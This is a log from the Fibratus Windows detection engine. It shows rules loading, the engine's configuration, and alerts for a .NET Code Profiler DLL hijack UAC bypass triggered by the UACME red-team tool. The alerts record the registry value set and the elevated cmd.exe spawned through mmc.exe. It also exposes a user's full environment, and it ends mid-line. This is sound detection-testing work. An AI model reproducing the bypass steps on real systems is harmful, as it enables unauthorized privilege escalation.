+time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T16:22:43+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T16:22:43+01:00 level=info msg=bootstrapping with pid 12384. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T16:22:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>true enable-dns=>false flush-interval=>1s enable-thread=>true enable-image=>true min-buffers=>16 enable-threadpool=>false enable-registry=>true max-buffers=>36 stack-enrichment=>true buffer-size=>512 enable-handle=>false enable-net=>true enable-vamap=>true enable-fileio=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST timeout=>5s serializer=>json enable-gzip=>false endpoints=>[] enabled=>false] amqp=>[ exchange-type=>topic routing-key=>fibratus timeout=>5s durable=>false enabled=>false passive=>false exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false] elasticsearch=>[ gzip-compression=>false bulk-workers=>1 trace-log=>false healthcheck=>true healthcheck-interval=>10s timeout=>5s sniff=>false index-name=>fibratus template-name=>fibratus healthcheck-timeout=>5s flush-period=>1s enabled=>false servers=>[http://127.0.0.1:9200]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-files=>false fastscan=>true skip-allocs=>false skip-mmaps=>false excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T16:22:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:22:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T16:24:17+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2361509 + Pid: 12716 + Tid: 11620 + Type: RegSetValue + CPU: 0 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:24:11.3602899 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd605a1563e40, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 12716 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2378072 + Pid: 4212 + Tid: 3180 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:24:12.3930101 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 237011000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0deba66080, name➜ cmd.exe, pid➜ 12776, ppid➜ 4212, real_ppid➜ 4212, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 16:24:12.3929476 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 4212 + Ppid: 12716 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T16:24:36+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2426451 + Pid: 7816 + Tid: 12984 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 16:24:34.0518132 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffd605a1563e40, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7816 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual 